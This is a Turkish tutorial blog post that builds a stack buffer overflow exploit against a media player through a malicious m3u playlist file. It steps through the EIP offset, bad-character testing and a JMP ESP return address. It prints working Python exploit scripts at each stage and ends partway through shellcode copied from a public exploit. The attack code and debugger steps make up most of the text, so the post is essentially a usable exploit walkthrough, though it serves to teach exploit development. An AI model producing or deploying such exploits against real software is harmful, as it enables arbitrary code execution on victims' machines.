3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk"
try:
file = open(fileName, "w")
file.write( buf )
file.close()
print "[+] File successfully created!"
except:
</code><code style="color: black; word-wrap: normal;"><code style="color: black; word-wrap: normal;">print "[!] Error!"</code>
</code></pre>
<br />
Şimdi uygulamayı debugger'da Restart ediyoruz. Kısayol tuşu Ctrl + F2. Veya toolbardaki previous şeklindeki butona basıyoruz. Ardından Play (run program) diyoruz.<br />
Oluşturduğumuz m3u dosyasını tekrar Load diyerek uygulamaya veriyoruz.<br />
<br />
Uygulama gördüğünüz gibi Overflow oldu. Şimdi yapmamız gereken patlamış haldeki uygulamada EIP'ın offset değerini pattern_offset'e vermek ve bize overflow'un sınırını vermesiyle yolumuza devam etmek.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivxZGP8HgroOy7RQ38XDlQZBrcaYUyPjcbkiCrAZDre8sYSpueyz_ZsCHR_GuiHKTQzjHNWrpoMpqHpk8zouXZS1W0kwXqkbLgQxM6mplQEj_3VDTvaMtLxNCcMSKY4vgBE6hYt3vvrB0/s1600/6.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivxZGP8HgroOy7RQ38XDlQZBrcaYUyPjcbkiCrAZDre8sYSpueyz_ZsCHR_GuiHKTQzjHNWrpoMpqHpk8zouXZS1W0kwXqkbLgQxM6mplQEj_3VDTvaMtLxNCcMSKY4vgBE6hYt3vvrB0/s1600/6.JPG" height="194" width="320" /></a></div>
<br />
EIP'nin o anki değerini sağ tıklayıp kopyalıyoruz. Bahsettiğimiz pattern_offset'e veriyoruz.<br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ-yUsVhghPOCa7iOfGHJ1Gh5Q7Xf4DhgS2u4fSr4BeHcVFTdLZL_FovNSayywzkwC5SRE9myARUJcCYS2OGenKPN9dhoSYM9tF3Lb4aQpCrlVgM2RsaPlRcwlMYORueZD-0ruNOc-DM1z/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> !mona pattern_offset 346A4233
</code></pre>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzNK8Oc6k2T8kIdCF-BE_BJ2ZwoX32gpnF74jhadooD50LtlGN4hJdelQNDt-iNcgnI5PhQyHw4CiviU6pDKM-ehPvnB3LJajlpKmBs26juvVPwS_JUfliTKuozd5WmuvI3stYh28JYlc/s1600/7.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzNK8Oc6k2T8kIdCF-BE_BJ2ZwoX32gpnF74jhadooD50LtlGN4hJdelQNDt-iNcgnI5PhQyHw4CiviU6pDKM-ehPvnB3LJajlpKmBs26juvVPwS_JUfliTKuozd5WmuvI3stYh28JYlc/s1600/7.JPG" height="121" width="400" /></a></div>
Ve bize kendi ürettiği 5000 byte arasından overflow noktasının <b>1061</b>. olduğunu söyledi. Biz öncesinde 25.000 byte A ile beraber bu işi yaptığımız için toplam sınır, 25.000 + 1061 = <b>26.061</b>.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGW3HIwRNPc8bshU_WTM_IX7FJUpEcIvC_w83whY-rS-7GdyIudjZVSeHf4z2iB4lpiEXUYdEnTUdTyPyzDIpBbc1G0cB8zQO2SEw_j8SP4USe77vpc7a2gQg4X0CIjbe6esKqLDEAi3o/s1600/stack.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGW3HIwRNPc8bshU_WTM_IX7FJUpEcIvC_w83whY-rS-7GdyIudjZVSeHf4z2iB4lpiEXUYdEnTUdTyPyzDIpBbc1G0cB8zQO2SEw_j8SP4USe77vpc7a2gQg4X0CIjbe6esKqLDEAi3o/s1600/stack.jpg" height="150" width="400" /></a></div>
Yukarıdaki resimde gördüğünüz gibi uygulamaya ayrılmış buffer'ı doldurup return adresi eziyoruz ve stack'i boş datayla dolduruyoruz biz. Buffer Overflowdaki exploit mantığı şudur:<br />
<ul>
<li>Buffer'ı taşır ta ki return adresine gelene kadar.</li>
<li>Return adresini Stack'e yönlendirecek bir adres bul.</li>
<li>Stack'e shellcode'unu doldur</li>
</ul>
Sıradaki adım EIP'ye değer yazmak ve shellcode'muz öncesi stack'e giden yolda kaç tane boşluk olduğunu bulmak.<br />
Exploit kodumuzun son hali şöyle bişey.<br />
<br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ-yUsVhghPOCa7iOfGHJ1Gh5Q7Xf4DhgS2u4fSr4BeHcVFTdLZL_FovNSayywzkwC5SRE9myARUJcCYS2OGenKPN9dhoSYM9tF3Lb4aQpCrlVgM2RsaPlRcwlMYORueZD-0ruNOc-DM1z/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;">fileName = "bombe.m3u"
buf = "A"*26061 # junk data
eip = "B"*4 # EIP'a yazilacak deger
arabosluk = "123456789ABCDEF123456789abc" # araboslugu belirlemek icin yazilan karakterler
buf = buf + eip + arabosluk
try:
file = open(file, "w")
file.write( buf )
file.close()
print "[+] File successfully created!"
except:
</code><code style="color: black; word-wrap: normal;"><code style="color: black; word-wrap: normal;">print "[!] Error!"</code>
</code></pre>
<br />
Kodu kaydedip çalıştıralım ve oluşturduğu m3u uzantılı dosyayı tekrar Immunity'e verelim. Sonuç;<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAgCNERJdNqtS2dzDtH3gAkTMUAh6olFO2QuizVpIN3OTCqWwnjxnJ29717vt9nJZtKe39v50rpl9YGExklhqGgQAvWLrgrI6lQYC0L5GmYNQ5rlTDrBNeDB98rYf0ntAeLoN-fMOj9zI/s1600/8.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAgCNERJdNqtS2dzDtH3gAkTMUAh6olFO2QuizVpIN3OTCqWwnjxnJ29717vt9nJZtKe39v50rpl9YGExklhqGgQAvWLrgrI6lQYC0L5GmYNQ5rlTDrBNeDB98rYf0ntAeLoN-fMOj9zI/s1600/8.JPG" height="237" width="400" /></a></div>
Görüldüğü üzere junk datadan sonra yazdığımı <b>4</b> byte uzunluğundaki <b>B</b> karakteri EIP'ye yerleşmiş (<b>B</b>'nin ASCII karşılığı <b>42</b>'dir).<br />
Ara boşluğu belirlemek için yazdığımız karakter dizisinden <b>5</b>'e kadar olanlar arada kaybolmuş. Bu da uygulama Stack'e atlamadan önce <b>4</b> karakter harcanıyor demek, bizde araya <b>NOP (No Operation)</b> karşılığı olan <b>\x90</b> değerini yerleştirelim oraya.<br />
<br />
<span style="font-size: large;"><b>Bad Char Bulma</b></span><br />
<br />
Şimdi en can alıcı noktaya geldik. Uygulamaların kimi karakterlere alerjisi vardır ve bunları gördükleri an zokayı yutarlar. Bizde <b>0'dan 255'e</b> kadar olan <b>hex </b>karakterleri Stack'e atıp, uygulamanın hangilerini görünce gümlediğini tespit etmeye çalışacağız.<br />
-Bu adımdan önce veya sonra fark etmez, Stack'e EIP üstünden zıplayacağımız (JMP ESP) offset adresini bulma aşamasını yapabiliriz. Ben bad charlardan sonra bu işlemi yapacam- <br />
<br />
Son haliyle exploit kodumuz şu hali alıyor.<br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ-yUsVhghPOCa7iOfGHJ1Gh5Q7Xf4DhgS2u4fSr4BeHcVFTdLZL_FovNSayywzkwC5SRE9myARUJcCYS2OGenKPN9dhoSYM9tF3Lb4aQpCrlVgM2RsaPlRcwlMYORueZD-0ruNOc-DM1z/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;">fileName = "bombe.m3u"
buf = "A"*26061 # junk data
eip = "B"*4 # EIP'a yazilacak deger
arabosluk = "\x90"*4 # arabosluk
badchars = ("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xAF\xB0"
"\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xBB\xBC\xBD\xBE\xBF\xC0"
"\xC1\xC2\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xCB\xCC\xCD\xCE\xCF\xD0"
"\xD1\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xDB\xDC\xDD\xDE\xDF\xE0"
"\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xEB\xEC\xED\xEE\xEF\xF0"
"\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFB\xFC\xFD\xFE\xFF")
buf = buf + eip + arabosluk + badchars
try:
file = open(fileName, "w")
file.write( buf )
file.close()
print "[+] File successfully created!"
except:
</code><code style="color: black; word-wrap: normal;"><code style="color: black; word-wrap: normal;">print "[!] Error!"</code>
</code></pre>
<br />
Kaydedip çalıştıralım. Debugger'daki uygulamayı restart edip başlatalım. Ve m3u uzantılı dosyamızı <b>Load </b>üzerinden yükleyelim. Uygulama crash oldu ve EIP yazdığımız <b>B</b>'nin karşılığı olan <b>42 </b>var. Şimdi Stack'e gidip yazdığımız badchars dizisini bozan haylaz karakteri bulalım.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeTl-Fua9oN5Ysx6_PCjPtZSh7E-TW7xIGtXl8_oGPHnpHvj56KsaskF68aGanCctxXQ5BI50bSJrYNaQGrwBI3bWENgyxnv9ZwNVSJqwYSimHARoWZvl5aPsXF0Ufr_8tjiQtncEeHMk/s1600/9.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeTl-Fua9oN5Ysx6_PCjPtZSh7E-TW7xIGtXl8_oGPHnpHvj56KsaskF68aGanCctxXQ5BI50bSJrYNaQGrwBI3bWENgyxnv9ZwNVSJqwYSimHARoWZvl5aPsXF0Ufr_8tjiQtncEeHMk/s1600/9.JPG" /></a></div>
<b>ESP</b>'nin üstüne sağ tıklayıp<b> Follow in Dump</b> diyerek akışın devam ettiği noktaya gidebiliriz.<br />
Burada şimdi 0-255 arası ama Hexadecimal olarak yazdığımız karakter dizisinin akışına bakacağız. Sıralamayı bozan bad char'ı listemizden silip tekrar aynı işlemi yapacağız ta ki aradaki sıralamayı bozan karakter kalmayana kadar.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj58HBI0lc9RsF8EXI1vA5gxZYEcVuTMwDIcAuonrbOIbKX7I6ssYYzDnA6x53PUBHqx6RDM2YfEsoSMFkYoTrUrKz_7Eqhzwn90fC6UN741NAFcN7osCqzDyDnth19obWy8GVRuAMe-nY/s1600/10_1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj58HBI0lc9RsF8EXI1vA5gxZYEcVuTMwDIcAuonrbOIbKX7I6ssYYzDnA6x53PUBHqx6RDM2YfEsoSMFkYoTrUrKz_7Eqhzwn90fC6UN741NAFcN7osCqzDyDnth19obWy8GVRuAMe-nY/s1600/10_1.JPG" /></a></div>
Gördüğünüz gibi ilk elemanda patladı. <b>\x00</b>. Zaten çoğu uygulamada bu fixtir <b>0</b> bad char olur. Shellcode üretimini gösteren örneklerde dikkat ettiyseniz <b>\x00</b> çoğunda badchar olarak geçer zaten.<br />
Exploit kodumuzdan <b>\x00</b>'ı silip, dosyamızı oluşturalım ve yeniden <b>Load </b>edelim. Ve <b>Follow in Dump</b> ile Stack'e atlayıp hex listemizdeki karakterlere bakalım. <br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjx2gGl2ojCwUyq14RijPm8POJVkFtoZAjnKyKYCly-H6Oqyzsy_MiWMEbBmwEeUpihyeTmAVZ3r-u0N6hyphenhyphenEyr0o9qUp7lrDq3U8v8mTZ3fB6Jj0u5Me_aKTtQU7lHH0qPnH1K-LvJ8fSg/s1600/10.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjx2gGl2ojCwUyq14RijPm8POJVkFtoZAjnKyKYCly-H6Oqyzsy_MiWMEbBmwEeUpihyeTmAVZ3r-u0N6hyphenhyphenEyr0o9qUp7lrDq3U8v8mTZ3fB6Jj0u5Me_aKTtQU7lHH0qPnH1K-LvJ8fSg/s1600/10.JPG" height="400" width="252" /></a></div>
Burada gördüğünüz üzere akış <b>08 </b>den sonra bozuluyor ve <b>00 </b>ardından değişik karakterler geliyor. Buradan anlıyoruz ki ilk kötü karakterimiz<b> \x09</b>. Bunu exploit kodumuzun içinden silip işlemi tekrar edelim.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgY-dSfQ65q9KMkV5NcmcB4e56bUKvl70C4uUhwDnfXZKx9Di7HWU-jJW-8S4oNKAIzQ1Tvr95oH7wzSDuTcbHxZODjnoidhT1Z3VD_zv2Ql1gmuLJgg-ijzzkXw8JuQeuLzdIsYwqTqZ8/s1600/11.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgY-dSfQ65q9KMkV5NcmcB4e56bUKvl70C4uUhwDnfXZKx9Di7HWU-jJW-8S4oNKAIzQ1Tvr95oH7wzSDuTcbHxZODjnoidhT1Z3VD_zv2Ql1gmuLJgg-ijzzkXw8JuQeuLzdIsYwqTqZ8/s1600/11.JPG" height="400" width="256" /></a></div>
Bellek dökümünü incelediğimizde <b>08</b>'den sonra tekrar bir bozulma olduğu fark edilir. <b>09</b>'u az önce sildiğimiz için bu seferki bad charımız <b>\x0a</b> oluyor.<br />
<b>\x0a</b> karakterini exploit kodumuzdan silip kaydettikten sonra m3u uzantılı dosyamızla tekrar bir <b>Load</b> yapalım bir sonraki bad char için.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMiEPpLIpRNxELB69JjMH3N29zmNePBZAMHJrRYdRPUu4otAq4JXlvG-vS6M5Ap0wPgZ83ZUTBRTjLSGpjkn9-bkkCJCArk1h4EN3dPriBk4ta2tbPTp4v5mk3WZHOvMLM-gqGsvtCDdg/s1600/12.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMiEPpLIpRNxELB69JjMH3N29zmNePBZAMHJrRYdRPUu4otAq4JXlvG-vS6M5Ap0wPgZ83ZUTBRTjLSGpjkn9-bkkCJCArk1h4EN3dPriBk4ta2tbPTp4v5mk3WZHOvMLM-gqGsvtCDdg/s1600/12.JPG" height="400" width="258" /></a></div>
Gördüğünüz üzere karakterler nizami bir şekilde artmış ve <b>255</b>'in hex karşılığı olan <b>FF</b>'e kadar gitmiştir.<br />
Elimizde üç tane bad char var. Bunları bir kenara yazalım, shellcode'umuzu oluştururken bunlardan yararlanacağız.<br />
<br />
<span style="font-size: large;"><b>Stack'e Atlanacak Adresi Bulma</b></span><br />
<br />
Geriye son iki adım kaldı. Önce Stack'e atlayacağımız adresi bulalım ardından shellcode yazıp exploit kodumuza ekleyip sonuçları göreceğiz.<br />
Stack'e atlayacağımız noktayı bulmak için İmmunity'den <b>View -> Executables modules</b> menüsünden uygulaman çalıştırdığı windows dll'lerine bakalım.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNbka4QVpl1qdelSX5_L9icthKtMtNUqiCKEzTazaeijKeOsTEgmZSbft8v3JHOFJbs5MlWGmBqgFMxhsDeLc4e03OXM4Eh3D53GAKSae1NsKXb4vOXk0eCG2E0GOVIlHuj83wMiBPT4I/s1600/13.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNbka4QVpl1qdelSX5_L9icthKtMtNUqiCKEzTazaeijKeOsTEgmZSbft8v3JHOFJbs5MlWGmBqgFMxhsDeLc4e03OXM4Eh3D53GAKSae1NsKXb4vOXk0eCG2E0GOVIlHuj83wMiBPT4I/s1600/13.JPG" height="400" width="196" /></a></div>
Bu Dll'ler arasından bir tanesine çift tıklamak yeterli o kısma atlamak için.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwFztA-X7gf7Ira_YmypgfXH8WRlpenTxFkdgGpLArQ22-R99_oMGiZOih3vHOawhKQlt8q0QgcDhyphenhyphenzFxyPEVvzrnnpGvI_3QDW3vkMISwhsxCQ8ytVJwm3wuqWxQcRVEl-REmJDBsjuI/s1600/14.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwFztA-X7gf7Ira_YmypgfXH8WRlpenTxFkdgGpLArQ22-R99_oMGiZOih3vHOawhKQlt8q0QgcDhyphenhyphenzFxyPEVvzrnnpGvI_3QDW3vkMISwhsxCQ8ytVJwm3wuqWxQcRVEl-REmJDBsjuI/s1600/14.JPG" height="187" width="640" /></a></div>
Atladığımız kısımda ilk yapacağımız <b>Ctrl+F</b> yapıp <b>JMP ESP</b>'ı aramak olmalıdır.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqFirzTMF_oyO5IT4Aivs4HCsZ_pjGg26QnIoCswv_i-eLMJ0qYw2ynC8N0tAYekfLBgyegK_x3WljtWZYwYMwVlStQSOsm_Iwds6yUdITuFPgqyuq_4DiHNFPQqb5gpbWg8kbh8mSJUo/s1600/15.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqFirzTMF_oyO5IT4Aivs4HCsZ_pjGg26QnIoCswv_i-eLMJ0qYw2ynC8N0tAYekfLBgyegK_x3WljtWZYwYMwVlStQSOsm_Iwds6yUdITuFPgqyuq_4DiHNFPQqb5gpbWg8kbh8mSJUo/s1600/15.JPG" height="262" width="400" /></a></div>
Bu komutu içeren adresleri bulacaktır ancak bizi ilk bulduğuna götürecektir. Bizde burda o satırın offset adresini kopyalayıp exploit kodumuzun içerisinde <b>eip </b>olarak belirttiğimiz değişkene vereceğiz.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgM9wnC88AC9KDzAWH70Va2CbNWcQirr-QTZL4aF6Y5M3i_5CZ2G649CNcBqCnduY68tiHp6RGHQta9kjFoceGqDDVlDzInxbgs_26puCsQVEfhFqyK6xjZMwC3trOQnVhvmQQS4OD5xms/s1600/16.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgM9wnC88AC9KDzAWH70Va2CbNWcQirr-QTZL4aF6Y5M3i_5CZ2G649CNcBqCnduY68tiHp6RGHQta9kjFoceGqDDVlDzInxbgs_26puCsQVEfhFqyK6xjZMwC3trOQnVhvmQQS4OD5xms/s1600/16.JPG" height="262" width="400" /></a></div>
<br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ-yUsVhghPOCa7iOfGHJ1Gh5Q7Xf4DhgS2u4fSr4BeHcVFTdLZL_FovNSayywzkwC5SRE9myARUJcCYS2OGenKPN9dhoSYM9tF3Lb4aQpCrlVgM2RsaPlRcwlMYORueZD-0ruNOc-DM1z/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> eip = "\xD7\x30\x9C\x7C" # EIP'a yazilacak deger
# 7C9C30D7 FFE4 JMP ESP
</code></pre>
<br />
Debugger'dan kopyaladığımız adres <b>7C9C30D7 </b>dir. Ancak bunu kodumuzun içinde<b> \xD7\x30\x9C\x7C</b> şeklinde yazmamızın nedeni Little Endian - Big Endian'dan dolayı olan bir değişimidir. Memory'e alınıp işlenen adres ters düz edilir bazı işlemcilerde. <a href="http://www.mustafaozcan.info/blog/endian-ve-big-endian-nedir.html">Şurada</a> bir arkadaş açıklamış merak edenler okuyabilir.<br />
<br />
<span style="font-size: large;"><b>ShellCode </b></span><br />
<br />
Stack'e atlayacağımız adreside bulduğumuza göre sırada shellcode'umuzu yazıp exploit kodumuza dahil etmek kaldı.<br />
<br />
Shellcode üretmek için Metasploit Framework'ün <b>msfpayload </b>aracını, çıkan sonucu bad char filtresinden geçirip encode etmek için <b>msfencode </b>kullanacağız. Fakat bunları anlatıp sonuçlarla daha fazla uğraşıp yazıyı gözünüzde karartmak istemiyorum. Başka bir yazıda payload ve shellcode üretimiyle alakalı belirttiğim iki tool'un kullanımını anlatırım inş cnm.<br />
<br />
<a href="http://www.exploit-db.com/exploits/9186/">Exploit-db'</a>de yer alan perl ile yazılmış, yazının başında belirttiğimiz, exploit kodunun içindeki shellcode alıp kendi kodumuza ekleyelim ve sonucu izleyelim.<br />
Son haliyle exploit kodumuz şöyle bir şekil alacaktır.<br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ-yUsVhghPOCa7iOfGHJ1Gh5Q7Xf4DhgS2u4fSr4BeHcVFTdLZL_FovNSayywzkwC5SRE9myARUJcCYS2OGenKPN9dhoSYM9tF3Lb4aQpCrlVgM2RsaPlRcwlMYORueZD-0ruNOc-DM1z/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;">fileName = "bombe.m3u"
buf = "A"*26061 # junk data
eip = "\xD7\x30\x9C\x7C" # EIP'a yazilacak deger
# 7C9C30D7 FFE4 JMP ESP
arabosluk = "\x90"*4 # arabosluk
arabosluk += "\x90"*10 # Airbag ;)
shellcode = ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
